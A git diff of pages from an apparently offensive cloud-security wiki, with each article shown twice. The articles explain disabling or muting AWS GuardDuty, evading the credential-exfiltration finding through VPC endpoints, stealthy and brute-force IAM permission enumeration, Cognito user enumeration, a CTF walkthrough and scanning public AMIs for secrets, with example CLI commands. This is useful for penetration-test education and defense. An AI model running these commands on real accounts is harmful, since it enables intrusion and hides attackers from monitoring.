When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies.

Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.


Misconfiguring the Detector

An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.

Configuration changes may include a combination of:

  • Disabling the detector altogether.
  • Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.
  • Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.

Example CLI commands

# Disabling the detector
 aws guardduty update-detector \
     --detector-id 12abc34d567e8fa901bc2d34eexample \
     --no-enable 
@@ -40,6 +40,6 @@
 --ids "GuardDutyTarget"
 


Supression Rules

Newly create GuardDuty findings can be automatically archived via Suppression Rules. An adversary could use filters to automatically archive findings they are likely to generate.

Example CLI commands

aws  guardduty create-filter --action ARCHIVE --detector-id 12abc34d567e8fa901bc2d34e56789f0 --name yourfiltername --finding-criteria file://criteria.json
 

Filters can be created using the CreateFilter API.


Delete Publishing Destination

An adversary could disable alerting simply by deleting the destination of alerts.

Example CLI commands

aws guardduty delete-publishing-destination --detector-id abc123 --destination-id def456
-
\ No newline at end of file diff --git a/aws/avoiding-detection/steal-keys-undetected/index.html b/aws/avoiding-detection/steal-keys-undetected/index.html index 803c74d8a..9d327cb7d 100644 --- a/aws/avoiding-detection/steal-keys-undetected/index.html +++ b/aws/avoiding-detection/steal-keys-undetected/index.html @@ -7,10 +7,10 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Bypass Credential Exfiltration Detection

  • Tools mentioned in this article


    SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints

A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.

On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.

However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding.

Note

There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.

SneakyEndpoints

To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.

Setup and Usage

To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session.

Next, perform the following Terraform commands:

terraform init
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Bypass Credential Exfiltration Detection

  • Tools mentioned in this article


    SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints

A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.

On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.

However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding.

Note

There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.

SneakyEndpoints

To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.

Setup and Usage

To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session.

Next, perform the following Terraform commands:

terraform init
 terraform apply
 

Before continuing Terraform will ask you to confirm the deployment. After that, way ~10 minutes for everything to be done. Please note that after the deployment is finished it may take a short period of time for the EC2 instance to be connectable.

After this period of time, connect to the EC2 instance using the AWS Systems Manager Session Manager.

To teardown the infrastructure, run the following command:

terraform destroy
 

Using STS

Due to a quirk in how STS is setup, you will have to set a specific environment variable with the following command.

export AWS_STS_REGIONAL_ENDPOINTS=regional
-

This is because some versions of the AWS SDK default to using the global STS endpoint at sts.amazonaws.com. This is problematic because VPC endpoints are regional (e.g. sts.us-east-1.amazonaws.com). The result is that if you use a version that is expecting the global endpoint with SneakyEndpoints, the connection will timeout.

\ No newline at end of file diff --git a/aws/capture_the_flag/cicdont/index.html b/aws/capture_the_flag/cicdont/index.html index 1b6b0dd29..b679fff54 100644 --- a/aws/capture_the_flag/cicdont/index.html +++ b/aws/capture_the_flag/cicdont/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

CI/CDon't

Link to Project: CI/CDon't

Note

This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.

Warning

If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.

Background

This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.

Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.

In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.

How to Play

Clone this repository and navigate to the cicdont directory.

git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

CI/CDon't

Link to Project: CI/CDon't

Note

This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.

Warning

If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.

Background

This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.

Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.

In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.

How to Play

Clone this repository and navigate to the cicdont directory.

git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git
 cd htc-ctfs/aws/cicdont
 

To deploy the CTF environment run the Terraform init/apply command.

terraform init
 terraform apply
@@ -34,6 +34,6 @@
 

Showing User Data

On first glance it appears pretty standard; It installs GitLab, installs the GitLab runners, activates them, etc.

There is a slight problem though, on the line where they installed GitLab, they accidentally leaked a credential. An important one at that. That is the credential to the root user of GitLab.

This is bad news for SoftHouseIO and great news for us. Let's use this to log into the GitLab web UI as an administrator (username: root, password: <what's in the useradata>)

After exploring around for a little while, you may stumble into the the infra-deployer project. That sounds important.

The infra-deployer Project

"Admin IAM Credentials are being stored in environment variables to be used with the GitLab runners". That sounds.....very interesting. The good news is that as an administrator, we can see those variables. Navigate to the Settings tab on the left and then click CI/CD. Next, click Expand on the Variables section.

Showing the Environment Variables

An Access Key and a Secret Access Key! Let's see who they belong to (you can also do this without logging to CloudTrail if you were so inclined).

export AWS_ACCESS_KEY_ID=AKIA....
 export AWS_SECRET_ACCESS_KEY=....
 aws sts get-caller-identity
-

Whoami

And with that we have achieved our objective! Congratulations on completing the CTF. Want to provide some feedback? Feel free to open a discussion on GitHub.

Acknowledgements

These wonderful folks helped beta-test this CTF and provided feedback.

Christophe Tafani-Dereeper
Jake Berkowsky
Kaushik Pal

\ No newline at end of file diff --git a/aws/deprecated/stealth_perm_enum/index.html b/aws/deprecated/stealth_perm_enum/index.html index 8e9018ec5..6a0a62dbc 100644 --- a/aws/deprecated/stealth_perm_enum/index.html +++ b/aws/deprecated/stealth_perm_enum/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

[Deprecated] Enumerate Permissions without Logging to CloudTrail

Warning

As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.

After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.

Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?

The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.

The following services are affected, although please note, that not all actions for these services can be enumerated.

application-autoscaling appstream
athena autoscaling-plans
aws-marketplace cloudhsm
codecommit codepipeline
codestar comprehend
cur datapipeline
dax discovery
forecast gamelift
health identitystore
kinesis kinesisanalytics
macie mediastore
mgh mturk-requester
opsworks-cm personalize
redshift-data route53domains
route53resolver sagemaker
secretsmanager shield
sms snowball
support tagging
textract translate
workmail

Note

For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.

There are some conditions to the enumeration, and they are defined below.

1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to "*".

To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.

Proof of Concept

Article by Nick Frichette

[Deprecated] Enumerate Permissions without Logging to CloudTrail

Warning

As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.

After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.

Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?

The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.

The following services are affected, although please note, that not all actions for these services can be enumerated.

application-autoscaling appstream
athena autoscaling-plans
aws-marketplace cloudhsm
codecommit codepipeline
codestar comprehend
cur datapipeline
dax discovery
forecast gamelift
health identitystore
kinesis kinesisanalytics
macie mediastore
mgh mturk-requester
opsworks-cm personalize
redshift-data route53domains
route53resolver sagemaker
secretsmanager shield
sms snowball
support tagging
textract translate
workmail

Note

For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.

There are some conditions to the enumeration, and they are defined below.

1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to "*".

To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.

Proof of Concept

\ No newline at end of file diff --git a/aws/deprecated/whoami/index.html b/aws/deprecated/whoami/index.html index 6d594bd08..077e8c127 100644 --- a/aws/deprecated/whoami/index.html +++ b/aws/deprecated/whoami/index.html @@ -7,12 +7,12 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

[Deprecated] Whoami - Get Principal Name From Keys

sns publish

Warning

As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.

sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.

user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

[Deprecated] Whoami - Get Principal Name From Keys

sns publish

Warning

As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.

sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.

user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
 
 An error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::123456789123:user/no-perm is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:*account id*:aaa because no resource-based policy allows the SNS:Publish action
 

sdb list-domains

Warning

As of August 15, 2020 these calls are now tracked in CloudTrail (tweet). This page is maintained for historical and inspiration purposes.

As found by Spencer Gietzen, the API call for sdb list-domains will return very similar information to get-caller-identity.

user@host:$ aws sdb list-domains --region us-east-1
 
 An error occurred (AuthorizationFailure) when calling the ListDomains operation: User (arn:aws:sts::123456789012:assumed-role/example_role/i-00000000000000000) does not have permission to perform (sdb:ListDomains) on resource (arn:aws:sdb:us-east-1:123456789012:domain/). Contact account owner.
-
\ No newline at end of file diff --git a/aws/enumeration/account_id_from_ec2/index.html b/aws/enumeration/account_id_from_ec2/index.html index 0ff6e585d..986189dc3 100644 --- a/aws/enumeration/account_id_from_ec2/index.html +++ b/aws/enumeration/account_id_from_ec2/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Phil Massyn

Enumerate AWS Account ID from an EC2 Instance

With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.

get-caller-identity

By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.

user@host:$ aws sts get-caller-identity
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Phil Massyn

Enumerate AWS Account ID from an EC2 Instance

With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.

get-caller-identity

By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.

user@host:$ aws sts get-caller-identity
 {
    "Account": "000000000000",
    "UserId": "AROAJIWIJQ5KCHMJX4EWI:i-00000000000000000",
@@ -32,6 +32,6 @@
    "region" : "ap-southeast-2",
    "version" : "2017-09-30"
 }
-

\ No newline at end of file diff --git a/aws/enumeration/account_id_from_s3_bucket/index.html b/aws/enumeration/account_id_from_s3_bucket/index.html index 1f4eb1186..1f89af175 100644 --- a/aws/enumeration/account_id_from_s3_bucket/index.html +++ b/aws/enumeration/account_id_from_s3_bucket/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Enumerate AWS Account ID from a Public S3 Bucket

Note

When you install a version <0.2.0 using pip, the executable is named s3-account-search.

By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.

To test this, you can use Grayhat Warfare's list of public S3 buckets.

You will need a role with s3:getObject and s3:ListBucket permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.

Installation

The tool can be installed with the following command:

python3 -m pip install s3-account-search
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Enumerate AWS Account ID from a Public S3 Bucket

Note

When you install a version <0.2.0 using pip, the executable is named s3-account-search.

By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.

To test this, you can use Grayhat Warfare's list of public S3 buckets.

You will need a role with s3:getObject and s3:ListBucket permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.

Installation

The tool can be installed with the following command:

python3 -m pip install s3-account-search
 

Setup

To use the tool, there is some setup on your end. You will need your own AWS account with a role you can assume with the s3:GetObject or s3:ListBucket permissions. s3-account-finder will assume this role so make sure the credentials you're using can do this.

Usage

s3-account-search arn:aws:iam::123456789123:role/s3-searcher <bucket name>
 Starting search (this can take a while)
 found: 1
@@ -41,6 +41,6 @@
     ]
 }
 ```
-
\ No newline at end of file diff --git a/aws/enumeration/brute_force_iam_permissions/index.html b/aws/enumeration/brute_force_iam_permissions/index.html index 33aaaf2b5..b57e5fe8d 100644 --- a/aws/enumeration/brute_force_iam_permissions/index.html +++ b/aws/enumeration/brute_force_iam_permissions/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Brute Force IAM Permissions

When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough.

This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andrés Riancho.

To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.

user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Brute Force IAM Permissions

When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough.

This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andrés Riancho.

To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.

user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN
 2020-12-20 18:41:26,375 - 13 - [INFO] Starting permission enumeration for access-key-id "ASIAAAAAAAAAAAAAAAAA"
 2020-12-20 18:41:26,812 - 13 - [INFO] -- Account ARN : arn:aws:sts::012345678912:assumed-role/role-b/user-b
 2020-12-20 18:41:26,812 - 13 - [INFO] -- Account Id  : 012345678912
@@ -20,6 +20,6 @@
 

Updating APIs

With an attack surface that evolves as rapidly as AWS, we often have to find and abuse newer features. This is one area where enumerate-iam shines. The tool itself has a built in feature to read in new AWS API calls from the JavaScript SDK, and use that information to brute force. After downloading enumerate-iam, perform the following steps to update the API lists.

cd enumerate_iam/
 git clone https://github.com/aws/aws-sdk-js.git
 python generate_bruteforce_tests.py
-

This will create or update a file named bruteforce_tests.py under enumerate-iam.

OPSEC Considerations

One thing to note is that this tool is very noisy and will generate a ton of CloudTrail logs. This makes it very easy for a defender to spot this activity and lock you out of that role or user. Try other methods of permission enumeration first, or be willing to lose access to these credentials before resorting to brute-force.

\ No newline at end of file diff --git a/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html b/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html index 68423d2eb..8a64bcc48 100644 --- a/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html +++ b/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Bypass Cognito Account Enumeration Controls

Amazon Cognito is a popular “sign-in as a service” offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.

By default, Cognito will set a configuration called Prevent user existence errors. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.

While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.

Note

Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.

Example Responses

To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The admin user exists in the user pool and is the account we will be trying to enumerate.

Note

The client-id value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client.

Prevent user existence errors on and user exists

$ aws cognito-idp initiate-auth \
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Bypass Cognito Account Enumeration Controls

Amazon Cognito is a popular “sign-in as a service” offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.

By default, Cognito will set a configuration called Prevent user existence errors. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.

While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.

Note

Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.

Example Responses

To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The admin user exists in the user pool and is the account we will be trying to enumerate.

Note

The client-id value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client.

Prevent user existence errors on and user exists

$ aws cognito-idp initiate-auth \
 --auth-flow USER_PASSWORD_AUTH \
 --client-id 719 \
 --auth-parameters USERNAME=admin,PASSWORD=blah
@@ -64,6 +64,6 @@
     "password": "HIDDEN_DUE_TO_SECURITY_REASONS",
     "userAttributes": "HIDDEN_DUE_TO_SECURITY_REASONS"
 }
-

For this reason, you can use CloudTrail or CloudWatch to track the number of cognito-idp:SignUp calls, and their associated sourceIPAddress, but not access their details.

\ No newline at end of file diff --git a/aws/enumeration/discover_secrets_in_public_aims/index.html b/aws/enumeration/discover_secrets_in_public_aims/index.html index a839cdfcd..5af7b5863 100644 --- a/aws/enumeration/discover_secrets_in_public_aims/index.html +++ b/aws/enumeration/discover_secrets_in_public_aims/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Eduard Schwarzkopf

Discover secrets in public AMIs

For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.

Finding Exposed AMIs

Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.

However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:

aws ec2 describe-images --owners <account_id> --include-deprecated --region <region>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Eduard Schwarzkopf

Discover secrets in public AMIs

For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.

Finding Exposed AMIs

Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.

However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:

aws ec2 describe-images --owners <account_id> --include-deprecated --region <region>
 

Using Public AMIs and Scanning for Credentials

Once you've identified public AMIs, you can use them to launch instances and manually scan for sensitive information, including credentials.

Launching an Instance from a Public AMI

To launch an instance from a public AMI, follow these steps:

  1. Launch an Instance:
    Using the AWS CLI, launch an instance using the desired AMI:
    aws ec2 run-instances --image-id <image_id> --instance-type t2.micro --key-name <key-pair>
     
  2. Access the Instance:
    Once the instance is running, connect to it using Session Manager or SSH:
    ssh -i <your-key-pair>.pem ec2-user@<public-dns-of-instance>
     

Manually Scanning for Credentials

Manual scanning involves checking common locations where credentials may be stored. Here are some typical command-line operations that can help:

  1. Search for AWS Credentials:
    find / -name "credentials" -type f
    @@ -24,6 +24,6 @@
     grep -ri 'password\|secret\|key' /home
     
    Run the script on each instance:
    chmod +x scan.sh
     ./scan.sh
    -
  2. Using Specialized Tools: Tools like truffleHog and gitleaks can detect sensitive information in codebases and configurations.
